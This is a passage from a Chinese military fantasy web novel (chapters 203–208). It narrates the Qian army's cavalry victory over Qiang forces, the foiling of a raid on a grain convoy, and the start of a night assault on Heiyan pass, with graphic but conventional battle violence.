“我的个乖乖,这才叫打仗嘛,咱们以前只能算小打小闹。”
曹殇心中那叫一个痛快啊,跟这样的战事一比,以前在饮马镇就像是小孩子过家家,当下就觉得跟着洛羽干准没错。
四千生力军策马狂奔,一排排黑甲精光闪闪。
曹殇与霍连城同时朗声怒喝,挺枪向前:
“将士们,虎豹骑成军之战,咱们也该帮帮场子!”
“杀!”
“
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砰砰砰!”
“噗嗤噗嗤!”
“铛铛铛!”
六支骑军捉对厮杀,每一分每一秒都有生命在流逝,这是勇士之间的对决,胆小鬼和懦夫只会在交战的第一刻死在敌骑枪下。
别人都是一鼓作气、再而衰、三而竭,可虎豹骑上下却越战越勇,所有人都鼓足了劲,拼死打垮羌骑,隐隐可见赤那台的三千骑兵被打得毫无还手之力,尽落下风。
谁更悍勇?
当属我虎豹骑!
望着数以千计的战马相撞,老将军君沉喃喃道:
“壮观啊,老夫这辈子都没想到陇西能有一支和羌贼对冲的骑军,不仅能战,还能战而胜之。
难以想象。”
凌桐观望许久,苦笑一声:
“老将军有没有发现阙州兵的身上比定州、并州的军卒多了点东西?”
“嗯。”
君沉微微点头:
“他们身上有股子一往无前的气势,想赢,而且每一名军卒都坚信自己能赢。
想赢,能赢,可惜我两州没有啊。”
两位将军莫名的自嘲,同样是陇西三州,为何阙州军能做到的事他们却做不到?更要命的是仅仅半年之前,阙州的李家兵还和他们是一路货色,怎么就发生了天翻地覆的变化?
为什么?
二人下意识地看向高居将台的洛羽,此人就是那个答案。
“杀!”
“砰砰!”
“铛铛铛!”
又是一轮凿阵而出,六支骑阵几乎没有停留,不约而同地重新转向冲锋,丝毫没有停止的迹象。
但所有观战的人都知道,赤那台的三千骑已经损失近半,气势低迷,现在全靠一口气在撑着,再冲几轮就会被虎豹骑打垮。
万户阿史那铁勒努了努嘴,小心翼翼地说道:
“殿下,只怕这么打下去不妙啊,要不先把赤那台撤下休整?”
耶律乌戈的神情十分冷漠,并没有让赤那台撤军的意思,冷冷地说了一句:
“与其撤回来打击士气,倒不如用三千骑拼掉乾军两千人,哪怕全军覆没、两败俱伤也在所不惜!
什么虎豹骑,本殿要让你们成军即覆灭!”
一众武将心头微颤,不再多言。
广袤无垠的平原上,六支骑军展开了新一轮的对冲,就在所有人以为又是捉对厮杀的时候,萧少游的嘴角勾起一抹轻笑:
“击鼓,变阵!”
轰鸣的鼓声中,曹殇与霍连城两营竟然同时分兵,各出一千精骑脱离本阵,从斜刺里冲向中间,兵锋直指赤那台!
这一刻,风云突变!
第204章耶律乌戈的后手
依旧是六座骑阵对冲,但是两支千人精骑成了战场中的搅屎棍,直插赤那台侧翼,曹殇与霍连城依旧笔直向前,接下来他们需要靠一千人迎战两千敌兵。
突然的变阵让羌兵猝不及防,各座骑阵之间本来就隔得不远,眨眼间三座骑阵便同时撞向了居中的羌兵。
正前方依旧是两千虎豹骑,一轮轮冲杀之后,大多军卒手中的长矛已经崩断,全都换刀而战,锋利的苍刀不断滑过,收割着羌兵的人头。
鏖战许久,其实双方军卒早已力竭,可虎豹骑上下全无惧意,眼眸中杀意比开战前还要浓郁。尤其是冲锋在前的蒙虎、魏野,两人杀得浑身是血,死在枪下的敌骑两只手都数不过来。
所有人的脑海中都浮现出那日山谷中的场面:
近百兄弟惨死疆场,血肉模糊,张老汉抱着孙女一动不动,两支利箭就插在他们身上。
仇恨,滔天的仇恨在此刻化做杀意。
如果说赤那台所部还能靠最后一口气迎战虎豹骑的话,那两侧的骑兵他们再也无力抵抗。千人精骑犹如离弦的利箭,从侧面切开羌兵阵型,横冲直撞,大杀四方。
一匹匹雄壮大马撞入阵中,**从侧面捅向了羌军的腰腹,被一枪贯穿躯体,横尸当场。
羌兵甚至不知道自己该面朝哪边迎战。
“砰砰砰!”
“噗嗤噗嗤!”
“啊啊~”
伤亡在这一刻陡增,凄厉的哀嚎声回荡在战场上空,一股不安迅速在羌兵阵中弥漫,精疲力竭的他们哪有本事同时应对三路敌军的冲杀。
“该死的!”
万户蒙格苏气得破口大骂,怒喝道:
“快,快让两侧骑兵增援!”
他很清楚如果任由乾军杀下去,赤那台必将落败,弄不好直接全军覆没!
“呜呜呜!”
两侧的羌骑见势不妙,也准备分兵增援,可当面的阙州骑兵杀意鼓胀,使出浑身解数死死拖住他们,谁敢调转马头就先杀谁,拼着一条命也得把羌骑留在阵中,就是不给你分兵的机会。
曹殇身形壮硕、生得虎背熊腰,枪法和蒙虎是一个路数,就喜欢大开大合地冲杀。只见他抿着唇,眼中冷光如铁。敌阵中三名精骑迎面撞来,他却不闪不避,枪尖自下而上斜撩,竟将最前一骑连人带甲劈成两半。落后的两名羌骑被如此血腥的场面吓得嘴角一抽,同时出招,左右夹击。
曹殇猛地一勒马缰,两条马蹄高高跃起,双蹄重重踏在敌方战马身侧,同时反手抽刀,苍刀顺势一劈,当场砍掉了羌兵的半个脑袋,猩红的鲜血沾满了整个刀背。
曹殇狞声怒吼:
“将士们,一兵一卒也别让他们跑了!”
“杀!”
霍连城不同,枪法比起两人要飘逸许多,枪出如龙,专挑咽喉、腰窝等致命之处。冲阵时嘴角带笑,枪尖点出朵朵血花,血腥中竟然带着几分优雅。
数名敌骑围上,他长啸一声,枪杆横扫,先抽碎一人喉骨,回马一刺,又贯穿另一人胸膛。剩余几名羌骑也杀红了眼,扑身而来,枪尖纷飞,他猛地伏身马侧,**贴地疾扫,几匹战马前蹄齐断,战马一声嘶鸣便栽倒在地,几名羌兵目光绝望地栽落下马,然后被数不清的骑兵踩成了肉泥。
两人一左一右,就像是虎豹骑的左右**,为中央战场争取了巨大的优势。
不管是兵力还是气势,乾军都更胜一筹!
当然了,分兵冲杀只是一时之举,两支千人精骑在一次冲阵之后便重新回归两翼战场,只不过换了个方向,曹殇的兵跑到了霍连城那边,霍连城的兵却和曹殇在一起并肩厮杀。
整个变阵过程酣畅淋漓,全军上下丝毫不见混乱。
傻眼了,君沉与凌桐二人傻眼了,阙州骑兵骁勇善战也就罢了,竟然阵型如此顺畅就能完成转换,这可不是操练个两天就能做到的,需要长年累月的训练以及各军之间的默契配合。
好可怕的阙州军!
就这么一次变阵,三千羌骑的最后一口气彻底被打垮了,骑阵崩塌,接下来他们要面临的是虎豹骑的**。
所有羌兵武将的脸都黑了,他们很清楚,仗打到这个份上赤那台
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就算是想撤也撤不出来了,除非他们把最后三千骑也压上去,可三千骑是保护皇子的啊,谁敢动。
耶律乌戈面色铁青,拳头微微攥紧:
“别高兴得太早,谁胜谁败还不一定!真当本殿是随随便便选了个日子开战吗?”
……
战场以东约莫二三十里,一支宛如长龙般的辎重车队正在蜿蜒而行,足有上百辆马车、驴车,满满当当放的全是粮食。经过几天的紧急筹措,定州内地总算是弄来了第一批军粮发往前线,足可供大军一月之需。
实际上自洛羽给每一名军卒加了半斤米的口粮后,每天消耗的粮食急剧增加,眼下营中已经缺粮,这一百多车粮草堪称大军的命根子,至关重要。
随行押送粮车的除了两百军卒之外其他的全都是民夫,看得出他们的神色有些紧张,毕竟这里离前线越来越近,随时可能遇到羌兵。
就凭他们这些人遇到羌骑只能等死,不紧张才怪呢。
带队的都尉不停的催促着:
“动作再快点,咱们抓紧时间把粮草运回大营,只要交了差就算安心了。”
“快点,都给我快点!别撞见羌兵,那可就倒大霉了!”
“小心车上的粮食,谁敢弄洒了粮袋就得挨鞭子!”
“轰隆隆!”
真是怕什么来什么,领军都尉的嗓音刚刚落下,天边就传来了隐约的马蹄声,就连脚下的地面都在跟着颤动。
所有民夫都下意识的停住了脚步,扭头一看,瞬间脸色苍白:
“羌,羌骑!”
数以千计的羌兵跃出地平线,挥舞着弯刀尖叫嘶吼,嘴角带着狞笑,民夫再加上区区两百随行军卒,在他们眼中连待宰的羔羊都算不上。
耶律乌戈为何选择在今日开战?因为他知道乾军的粮草今天要到!开战就是为了吸引乾军的注意力,实则他的真正目标是粮食!
没了粮食,饿也把你饿死,阙州军再能打又有何用?
领军都尉面如死灰,恐惧令他连拔刀的力气都没有了,浑身发抖:
“完,完蛋了。”
第205章虎痴震三军
“铛铛铛!”
“砰砰砰!”
战场局面急转直下,两侧羌兵还能与阙州军战成平手,可中央战场的羌骑尽落下风,不断溃败。
一柄柄苍刀滑过,道道鲜血飞溅,精疲力尽的羌兵打也打不过、逃又逃不走,只能在绝望中等待死亡的来临。
羌兵最后三千骑始终未动,耶律乌戈很清楚自己增兵洛羽同样会增兵,看起来似乎己方的兵力还不如对面。
眼下陷入了进退两难的境地。
另外两名万户犹豫半天问道:
“殿下,真的不撤兵吗?再打下去只怕局势大不妙啊。”
“等!还有机会!”
耶律乌戈面色冰冷:“只要能成功歼灭敌方辎重队,将粮草全都抢了,敌方士气必溃!”
他很清楚,捷报是唯一翻盘的机会。
……
“都稳住!跟他们拼了!”
“难道我大羌的铁骑还斗不过乾军小二吗?给我杀!”
混乱的战场中响起了赤那台的怒吼声,这位万户猛安浑身甲胄已经被鲜血染红,突围无望的他很清楚,唯有奋力一搏才能拼一条活路。
“赤那台!老子找你很久了!”
蒙虎的吼声如雷霆炸响,震得赤那台耳膜生疼。
这位新任虎豹骑主将拎着一杆血淋淋的**,枪尖滴落的鲜血在黄土上砸出一个个暗红的小坑。胯下战马喷着白气,马蹄不安地刨着地面,仿佛也感受到主人沸腾的战意。
赤那台抹了把脸上的血污,狞笑道:
“我当是谁,原来是你这个手下败将,山谷中让你逃了一命,今日定要取你首级!”
场面上虽然尽落下风,但赤那台的嘴巴可是硬得很。
“卑鄙小人,你也有脸提山谷之战!”
蒙虎怒目圆睁:
“用无辜百姓做要挟算什么本事,有种的咱们就堂堂正正一战!”
“本将军乃大羌万户猛安!难道怕你一个小小校尉?”
赤那台咬牙切齿,挺**来:
“吃我一枪!”
“什么狗屁猛安!马上就是无头冤魂!”
蒙虎浑然不惧,正面迎战!
战马四蹄如飞,眨眼间便杀到近前,一枪势大力沉的劈了出去。
一记对拼之后两人手臂发麻,紧跟着蒙虎**如**出洞,直取咽喉。赤那台的反应同样迅速,仰身贴在马背上,枪尖擦着鼻尖掠过,带起的劲风刮得面皮生疼。
“好快的枪法!”
赤那台心中暗惊,蒙虎这么大块头怎会如此敏捷?但他手中弯刀却不停歇,借着起身之势横扫蒙虎腰间。
蒙虎不躲不闪,**向下一压,“铛”的一声巨响,刀枪相撞火花四溅。赤那台只觉虎口发麻,弯刀险些脱手。
两马交错而过,各自冲出十余步才勒转马头。
蒙虎讥讽一笑:
“堂堂猛安就这点本事?我呸!”
他单手抡枪,枪杆在空中划出呼啸的弧线,再次冲杀过来。赤那台咬紧牙关,知道力量不及对方,便催动战马绕起圈子,试图以骑术取胜。
两骑在战场上飞驰追逐,扬起漫天尘土。蒙虎几次刺击都被赤那台灵巧躲过,气得骂骂咧咧。
“无脑的莽夫!”
赤那台冷笑一声,突然勒马急停。蒙虎收势不及,战马从赤那台身侧冲过。他抓住机会,弯刀狠狠劈向蒙虎后背。
眼看刀锋及体,蒙虎却仿佛背后长眼,猛地俯身贴在马颈上,同时反手一枪向后刺去。
“噗嗤!”
一记漂亮的回马枪!
枪尖刺入赤那台坐骑的脖颈,战马惨嘶一声,前蹄跪地,将赤那台甩下马背。
蒙虎岂能放过如此良机,从马背上纵身一跃,整个人腾空而起,**当空刺落,准备扎他一个透心凉,心飞扬。赤那台有些慌了,连着在地上滚了好几圈才避开必杀的一击。
蒙虎提着**步步紧逼,杀意森然:
“今日看你往哪里逃!”
“想杀我?你还嫩了点!”
赤那台持刀起身,弯刀横在胸前,眼中凶光毕露。蒙虎也不废话,**如暴雨般刺来。
两人从骑战变成了步战,近身肉搏。正所谓一寸长一寸强,手握长矛的蒙虎自然占尽了上风,而赤那台却显得左支右绌,刀光织成一片银网,却仍被枪尖划破肩甲,鲜血顿时浸透战袍。
“死吧!”
蒙虎抓住破绽,一枪直刺赤那台心窝。生死关头,赤那台怒吼一声,竟不闪避,任由**贯穿左肩,同时右手弯刀狠劈枪杆。
“咔擦”一声,精铁打造的枪杆应声而断。
赤那台的凶悍让蒙虎愣了一下,狞笑道:
“好,这样才痛快!”
蒙虎弃枪换刀,赤那台也从靴筒拔出**。两人如同困兽般绕着圈子,寻找致命一击的机会。
肩膀处的疼痛袭遍全身,赤那台心知自己不能拖,率先发难,**直取蒙虎咽喉。蒙虎侧头避过,苍刀横扫对方腰腹。赤那台扭身闪躲,**顺势划向蒙虎手腕。蒙虎吃痛却不退缩,左手如铁钳般抓住赤那台持刀的手腕,
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右手刀柄狠狠砸在对方肘关节上。
“啊!”
赤那台惨叫一声,小臂以诡异的角度弯折,白骨刺破皮肉,面庞极度扭曲。蒙虎趁机一个头槌撞在赤那台面门,鼻梁骨碎裂的声音清晰可闻。
接连遭受重击,赤那台终于顶不住了,砰得往后一倒,不等他挣扎着起身,蒙虎的铁拳就砸在了他的面门上:
“砰!”
“噗嗤!”
一口鲜血狂喷而出,赤那台只觉得眼前一黑,再也没有还击的力气。
蒙虎骑坐在赤那台的身上,拳头如雨点般砸落:
“这一拳是替山谷内战死的兄弟打的!”
“这一拳是替无辜百姓打的!”
“这一拳是替张老汉和他的孙女打的!”
……
一拳接着一拳,蒙虎发泄着满心愤怒,砸得赤那台满脸鲜血,早已神志不清。整片战场为之一静,只有蒙虎的怒吼声在回荡,如此血腥的场面令两军士卒鸦雀无声。
杀神,此人宛如从地域爬出来的杀神!
“呼。”
蒙虎收了拳,提起刀,长出一口气,居高临下的看着奄奄一息的赤那台,目光狰狞,厉声挥刀:
“万户又如何!”
“给我死!”
“噗嗤!”
凶残的一刀将赤那台的脖颈直接砍断,鲜血飞溅。
人头落地的那一刻耶律乌戈的心脏骤然一缩,面色铁青地说了一句:
“让将士们撤回来吧。”
一直在两侧战场鏖战的羌兵回归本阵,因为中路三千骑基本上损失殆尽,他们已经没有继续坚持的必要了。
尸横遍野的战场陷入了诡异的安静,曹殇与霍连城两营兵马一左一右,护卫中军,血战半日的虎豹骑军卒端坐马背,人人昂首挺胸,哪怕浑身鲜血、身负重伤依旧带着一股杀意。
给人的感觉就像是你再来千军万马,他们也敢一战!
蒙虎单枪匹马冲出军阵,在距离敌阵一箭之地时停了下来,将手中枪杆狠狠往沙土中一戳,一颗血淋淋的人头插在上面,血腥无比。
蒙虎策马横刀,仰**吼:
“谁敢与我虎豹骑一战!”
吼声如雷,滚滚轰鸣。
羌兵阵中鸦雀无声,就连耶律乌戈都感觉喉咙里堵了什么东西,说不出话。
何为万人敌?
蒙虎也!
将台之上的洛羽喃喃道:
“真乃虎痴啊。”
景丰十年秋,虎豹骑成军之战,主将蒙虎阵斩西羌万户赤那台!
威震三军!
第206章两千骑是不是少了点?
赤那台被斩,三千羌骑几乎全军覆没,这一战可以说乾军已经赢了,而且是大胜!
可诡异的是羌兵并未退走,剩下的骑兵呈防守态势原地结阵,既不进攻也不撤退,很是诡异。
将台上的君墨竹微微皱起眉头:
“不撤也不战,好生奇怪,耶律乌戈想干嘛?”
虽说羌兵败了,但依旧有六七千骑兵,想走就能走,乾军根本无力阻拦。
萧少游面无表情的吐出三个字:
“他在等。”
“等?”君墨竹有些疑惑:“等什么?等援兵吗?”
“不,等另外一处战场的捷报!”
“另外一处战场?”
君墨竹愕然,哪还有另外一处战场?两军不是约定好在这里一决胜负吗?
萧少游的脸上多出一抹古怪的笑容:
“君兄有没有想过,羌兵在黑岩山口集结后为啥不多加休整,反而急着开战?到底是轻视我军还是另有所图?
或者说,耶律乌戈想声东击西?”
“声东击西?他还能进攻何处?”
君墨竹先是深深困惑,然后猛然抬头,瞳孔骤缩:
“粮草!今天正好是军粮要抵前线的日子!正面开战是在故意吸引我们的注意力!耶律乌戈的真正目的是抢我们的军粮!”
君墨竹很聪明,萧少游点了一句他就想明白了羌军的目的,只觉得后背发凉,那可是前线大军一个月的口粮啊!若是被劫,接下来一个月他们就得饿着肚子打仗!
“呵呵,君兄猜对了,这位九皇子比我们想象的要聪明的多。”
萧少游冷笑一声,随即招呼岳伍过来在耳边低语几句:
“我有一句话,你帮我去阵前喊一嗓子。”
大阵对面,数千羌骑严阵以待,长矛弯刀尽数出鞘,随时备战。
赤那台的战死虽然打击了军心士气,但毕竟有皇子亲临前线,还不至于到军心崩溃的地步。
蒙格苏小心翼翼的问道:“殿下,咱们不撤军回营吗?”
“不撤!等,等那边的捷报!”
耶律乌戈咽不下这口气,他在等,也是在赌。
他派了两千骑去**乾军的粮草,等粮食被劫的消息传过来乾军一定会士气低落,介时自己再全面反击,两千骑再从背后偷袭洛羽,说不定能够转败为胜!
“驾!”
“哒哒哒!”
岳伍一骑快马飞奔阵前,高举一面洛字军旗,朗声高喝:
“阙州定边将军萧少游有一句话要送给九皇子殿下!”
喝声滚滚如雷,顿时吸引了耶律乌戈的目光,萧少游?这家伙他隐约有所耳闻,但为何会有话带给自己?
“萧将军说,两千骑就想劫走我们的军粮,少了点吧?”
一骑绝尘而去,耶律乌戈的瞳孔却骤然一缩,不可置信。
洛羽和萧少游的嘴角同时勾起一抹诡异的笑容,一切尽在掌控。
“这,这不可能!”
蒙格苏有些急了:
“他们怎么会知道我们派兵去劫粮食,难道说骑军出动被敌方的斥候发现了?不应该啊,咱们的行踪很隐蔽!”
“妈的!”耶律乌戈攥紧拳头,脸色极为难看。
阿史那铁勒赶忙劝慰道:
“殿下勿忧,就算被他们看出来又何妨?敌军主力云集于此,咱们两千骑足以全歼敌军辎重队,依末将看对面只是故弄玄虚罢了,想要诈我们一手,骗我们撤兵,好腾出手去救粮车。”
“对对对,一定是在诈我们,殿下,咱们可千万不能中计啊。”
“诈我们?会吗?”
耶律乌戈阴沉着脸,目光缓缓扫过对面军阵,突然眉头一皱:
“上次说阙州主力骑军总共几营来着?”
“五营。”
蒙格苏赶忙答道:
“据情报显示,五营校尉分别是蒙虎、曹殇、吕青云、余寒弓、霍连城,几人都深受洛羽信任,麾下骑兵战力强悍。”
“刚刚与我们对阵的似乎只有三营骑兵啊。”
耶律乌戈猛然抬头:
“还有两营去哪儿了?”
几人再度瞪着眼睛看向对面,又回忆了一番刚才的战事,乾军确实只出动了三营骑兵,顿时心头咯噔一下,一股不详的预感从心底浮现。
“该死的,被耍了!”
耶律乌戈第一次露出一种恨恨的目光,咬牙切齿的说道:
“传兵,撤军回营!”
“殿下,要不要派兵去看看?”
“不用了。
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”
耶律乌戈的表情冷漠无比:
“估计已经死光了。”
……
广袤的平原上尸横遍野,血淋淋的残肢断臂随处可见,各式各样的兵器散落一地。
羌兵躺在血泊中绝望的哀嚎着,时不时便有骑兵策马而来,在胸口补上一刀,送他们去见阎王。
他们做梦也没想到仗会打成这样。
本以为能轻轻松松**民夫和护卫军卒,将上百辆粮车统统拉走,结果还没等他们挥起屠刀,四千黑甲骑兵就从四面八方围了过来,被**的成了自己。
战斗结束的很快,**粮车嘛,派出来的自然不是什么精锐,可他们面对的是吕青云、余寒弓两营阙州军的老底子,怎么打?
大败亏输,全军覆没。
“唔,这一仗打得爽啊。”
吕青云与余寒弓并肩而立,随手擦去刀锋上的血迹,一脸舒畅。
二人脚下还有一名重伤的羌将,绝望而又无助的向前爬行。他就是此次领兵的主将,千户谋克达答,在刚才的骑战中被吕青云三刀砍中腰腹,一枪捅在大腿上,重伤坠马。
鲜血在地上拖出了两条长长的血痕,二人也不管他,自顾自的聊天。
吕青云啧啧称奇:
“佩服啊,你说萧将军是怎么猜到耶律乌戈要袭击咱们的粮草呢?”
“萧将军的脑子哪儿是我们的能比的。”余寒弓笑道:“咱们都以为羌兵会在正前方与我军决战,谁知道会在背后来这么一下。”
“哈哈哈。”
吕青云大笑出声:
“任他耶律乌戈诡计多端,不还是栽了跟头吗?两千羌骑全军覆没,这场败仗有的他肉疼了。”
两人笑谈许久,吕青云突然一瞅脚旁,愕然道:
“咦,那个千户爬哪儿去了?”
两人顺着地上长长的血痕向远处望去,发现达答已经爬出了老远,甚至已经从地上站了起来,拖着伤腿踉踉跄跄的往前走。
“想跑?”
余寒弓冷笑一声,弯弓搭箭:
“嗖!”
一支利箭飚射而出,当空贯穿了达答的后背,砰得一声栽倒在地,再无动静。
“老子的箭是白给的?”
“好箭!”
第207章这不是庆功酒,是壮行酒
羌兵帅帐中弥漫着一股压抑的气息,帐外呼啸的北风卷着砂砾拍打毡布,侍卫们屏息凝神站在三丈开外,连战马都识趣地停止了嘶鸣。
斜坐在主位上的耶律乌戈面色阴沉,蒙格苏与阿史那铁勒两位万户也不敢吱声。
刚刚败报已经传回来了,偷袭粮草的两千兵马几乎全军覆没,只有百十号残兵拼死逃了回来。
此战一粒粮食都没抢到,白白折损了五千兵马,还**一个万户,要知道羌兵在这里的总兵力只有两万人,四停中去了一停,损失惨重。
耶律乌戈愤愤不平地骂道:
“那个萧少游到底是什么来路,敌军营中何时多出这么个怪胎!”
“咳咳。”
蒙格苏小心翼翼地说道:
“据说此人与洛羽早就相识,从第一场云阳关战事之后就跟着洛羽,一直在洛羽手下总管军务,练兵打仗无所不精,堪称将才。
洛羽和李家开战也是此人在背后指挥,短短一个月便横扫阙州,确实有些才能。”
“看来洛羽手下还真是人才济济啊。”
耶律乌戈的拳头嘎吱作响:
“先是一个蒙虎,现在又冒出来一个萧少游,妈的!”
阿史那铁勒轻声道:
“殿下还请放宽心,胜败乃兵家常事,待我们收容溃兵、重新整军之后与敌再战,定能一举击溃陇西边军!”
“眼下只能这样了,先让将士们松口气吧。”
耶律乌戈不耐烦地挥了挥手:
“退下吧,本殿得以泄火!”
“末将告退!”
两人心领神会地退了出去,果然帐中传出了嘎吱嘎吱的床板声还有女子的娇喘:
“嘎吱嘎吱。”
二人苦笑一声,大白天的耶律乌戈都要泄火,精力真是旺盛啊。
十息后,天地安宁。
真快啊。
……
各路兵马陆续回营,与羌兵不同,乾军营中一片振奋,一场大胜酣畅淋漓,到处弥漫着一股喜悦。
帅帐中的诸位武将满脸笑意,君沉更是感叹道:
“萧将军的排兵布阵果然绝妙啊,老将佩服。”
“是啊。”
凌桐也附和道:“如果粮草被劫那咱们就被动了,只能全军退守定州内地,再也无力与羌兵野战僵持。”
他们总算是明白萧少游为何年纪轻轻就能当上阙州武将之首,不管是从骑战的变阵还是猜中耶律乌戈会偷袭粮草,这番心智和计谋都远非常人可比。
一开始洛羽将此战交给萧少游指挥的时候他们还心有疑虑,毕竟是第一场大战,任用年轻将军万一打输了可不是小事,现在心头的疑惑一扫而空。
果然是将才!
萧少游极为谦虚的抱拳道:
“两位将军过奖了,为将者自当筹谋全局,而不能只盯一处。耶律乌戈不做休整便立刻开战,超出常理。正所谓事出反常必有妖,这种时候自然要加万分小心。
所以在开战前夜我便出动游**手在敌营附近蹲守,果然见到了两千骑兵偷偷出营,岂会这么轻松就让他得逞?”
经萧少游这么一解释众人才恍然大悟,合着耶律乌戈的一举一动都被盯着。
端坐主位的洛羽朗声道:
“蒙虎、魏野出列!”
“轰!”
两位悍将重重迈前一步,神情肃穆,虽说已经将满是鲜血的甲胄换下,但两人身上依旧弥漫着一股浓浓的血腥味和杀意。
“今日乃虎豹骑成军之战,两位阵斩万户赤那台、全歼敌骑三千,替山谷中战死的同袍百姓报了仇,打出了我陇西军威!
有功则赏,有过必罚!
加蒙虎正五品游击将军,领虎豹骑主将,加魏野从五品偏将,领虎豹骑副将,还是那句胡,从今以后虎豹骑就是我边军的一把尖刀。
陷阵无双,所向披靡!”
“诺!”
二人抱拳怒喝:
“末将领命!定不负将军厚望!”
其实洛羽很清楚,就算战场上没有曹殇、霍连城两营助力,第一营也能正面打垮三千羌骑,甚至将其全部歼灭,但那样伤亡就会增加不少,没必要死拼。
其他校尉们那叫一个羡慕啊,这就成将军了?不过这份荣耀是他们应得的。
“来人,上酒!”
随着洛羽一声轻喝,亲兵捧着一坛酒走了进来,摆下一排大碗,斟得满满当当,营中顿时被酒香填满。
“凤仙醉吗?”
君
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墨竹当先嗅了嗅,随即目露疑惑:
“不是凤仙醉啊,倒有一些桂花的清香。”
“哈哈,君公子的鼻子就是灵。”
萧少游乐呵呵地解释起来:
“确实不是凤仙醉。
洛将军送了我一句诗,欲买桂花同载酒,终不似少年游。
所以从那之后我就比较喜爱桂花酒,这是特地请沈姑娘用桂花酿造出来的米酒,用了最新的酿酒工艺,口味和凤仙醉有异曲同工之妙。
今日拿出来请大家一起尝尝。”
“这么说是庆功酒了?”
蒙虎张望了一眼人群,好奇道:
“既然是庆功酒应该大家一起喝啊,徐松和石敢怎么不在,我让人去找。”
众人左看右看,这才发现两人不在帐中,刚打完仗怎么人就跑没影了。
“不用找了,两人不在营中。”
洛羽诡异一笑:“徐松石敢已经率兵出营,往黑岩山口去了。”
“什么,往黑岩山口去了!”
大家目光一震,那不是羌兵的前锋驻地吗,去那儿干什么,君墨竹的脑子转得最快,愕然道:
“你们该不会是想夜袭敌营吧?”
“哈哈,没错!”
萧少游缓缓起身,手掌在地图上轻轻一按:
“今日刚刚大战一场,羌兵必定疏于防范,再加上赤那台的战死令敌方士气低落,此刻乃绝佳的偷袭时机。
现在我就要告诉大家,我们不会与羌兵陷入长久的对峙,而是要以迅雷不及掩耳之势拿下黑岩山口,进而击溃耶律乌戈,迫使敌军回撤寒山关!
一战,定胜负!”
众人心头一惊,君沉与凌桐更是目瞪口呆,完全被洛羽和萧少游的果断所折服。别的不说,如果是他二人领兵,今夜绝不会多加防范,因为你本能会觉得刚打完仗,得让将士们休息休息。
现在偷袭,出其不意,正中要害!
洛羽端起酒碗,朗声喝道:
“这不是庆功酒,而是壮行酒。喝完这碗酒,各营出兵,直扑羌军大营!”
“我祝各位,马到功成,凯旋而归!”
“诺!”
众人举碗,一饮而尽,齐齐怒喝:
“凯旋而归!”
第208章兵败如山倒
月黑风高,晚风呼啸
寥寥火光闪耀在黑岩山口,微微隆起的土坡上矗立着不少军帐,隐约能听到些许呼喝声在夜风中飘散。
此次西羌进犯号称是三万精骑,自然不可能全是骑兵,随军也有不少步卒,例如驻扎在黑岩山口的两千前锋营就全是步兵。
山坡脚下有大片大片的树林和灌木丛,夜风一吹便呼啦啦地响,大批黑影在林中闪掠而过,隐约能看见甲胄上泛起的寒光。
徐松与石敢二人探出了脑袋,凌厉的目光直射前方军营。
徐松冷笑一声:“萧将军果然神机妙算啊,一场大战之后羌兵确实疏于防备,外围巡逻的哨兵并不多,天赐良机。”
石敢舔了舔干裂的嘴唇:
“没什么好说的,直接干吧,我带人偷袭打开寨门,徐大哥带兵冲杀,如何?”
“没问题,你自己小心。”
“好!”
石敢手掌轻挥,数十号精锐汉子手持苍刀跟着他涌了出去,身形紧贴地面,小心翼翼地摸向军营哨卡。
夜风呼啸,卷起地上的枯叶,晃动的树梢为石敢等人的行动提供了绝佳的掩护。他弓着身子,像一只蓄势待发的猎豹,数十人手握苍刀,寒光在月色下若隐若现。
营门口的哨兵不多,区区十几人,一场大败令羌兵军心不振,一个个无精打采地拄着**,神色慵懒。
“左边五个,右边六个。”
石敢压低声音,做了个手势,身后悍卒立刻会意,如鬼魅般分散开来。石敢自己则盯上了辕门处那个身材魁梧的羌兵哨长,那人正抱着长矛打盹。
十几人悄无声息地举起了一把短**,一人盯着一个,石敢的手臂狠狠一挥,利箭齐齐飚射而出;
“嗖嗖嗖!”
“噗嗤噗嗤!”
如此近的距离,箭头极准,十几名羌兵应声而倒,还剩的几名羌兵看着同袍的死尸一脸茫然,一股不安直冲天灵盖,还不等他们出声示警,石敢就从灌木丛中一跃而出,手中苍刀狠狠挥了出去。
寒光闪过,那哨长喉咙上顿时多了一个血洞,连哼都没哼一声就软倒在地。几乎同时,左右两侧也传来轻微的“噗嗤”声,一排哨兵被解决得干净利落。
小队没有停留,迅速向营门靠近,动作麻利地搬开了挡在门口的鹿角,还推开了营门,到此时偷袭已经算成功了大半。
好巧不巧,刚好撞见一队巡逻到营门的羌兵。
两拨人就呆呆地在夜空中对视,相遇就是如此凑巧。
石敢知道无法再隐藏,猛地跃起:
“杀!”
苍刀出鞘的铮鸣声划破夜空,石敢如猛虎般扑向巡逻队。领头的羌兵还未反应过来就被一刀劈开胸膛,鲜血喷溅在石敢脸上,温热腥咸。其余士卒也纷纷杀出,一时间刀光剑影,血肉横飞。
“敌袭敌袭!”
“乾军偷袭了!”
营内终于响起了急促的号角声,原本寂静的军营顿时骚动起来。
但现在发现已经晚了,石敢他们三下五除二就解决了门口哨兵,寨门大开,草丛中的徐松拔刀怒喝:
“全军进攻!”
“给我杀!”
“杀!”
数以千计的悍卒从林中冲出,蜂拥而入,激战骤起。
“石敢,小心冷箭!”
不等石敢高兴,徐松的厉喝声就响了起来,他想也不想就是一个侧身,刚刚好有一支利箭贴着自己的脸颊滑了过去,惊出他一身冷汗。
原来是高处哨楼上藏了一个羌兵,鬼鬼祟祟的来了个偷袭,石敢怒气冲冲地爬上哨楼,在羌兵绝望的眼神中挥出了苍刀:
“噗嗤!”
“妈的!差点没把我吓死!”
“呜呜呜!”
凄厉的号角声回荡在夜空中,整座军营都骚动起来,不少羌兵从睡梦中被惊醒,慌慌张张地跑出军帐,等待他们的是阙州军迎面一刀。
确实如洛羽、萧少游预料的一般,羌兵属于防备,短短半个时辰的功夫就完全占领了黑岩山口,大批大批的羌军成了地上的死尸。
兵败如山倒。
不过羌兵的反应也算迅速,离山口最近的两座军营迅速动员,已经有几百骑兵迅速赶来,徐松和石敢面色凌厉:
“拦住他们,说什么也要守住营门!”
此次偷袭的关键就是步卒先拿下山口,等候骑兵到来。
“轰隆隆!”
马蹄声骤响,大批骑军从夜色中涌出,一头冲进军营,曹殇策马在前,手起枪落就将一名敌骑刺穿下马,朗声大笑
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“哈哈哈,两位辛苦了,接下来的事交给我们!”
“给我杀!”
曹殇、霍连城、吕青云、余寒弓四营精锐陆续杀入战场,犹如猛虎下山,瞬间将敌骑冲得七零八落。
徐松和石敢终于松了口气,对视一笑:
“胜券在握!”
……
“殿下,殿下!”
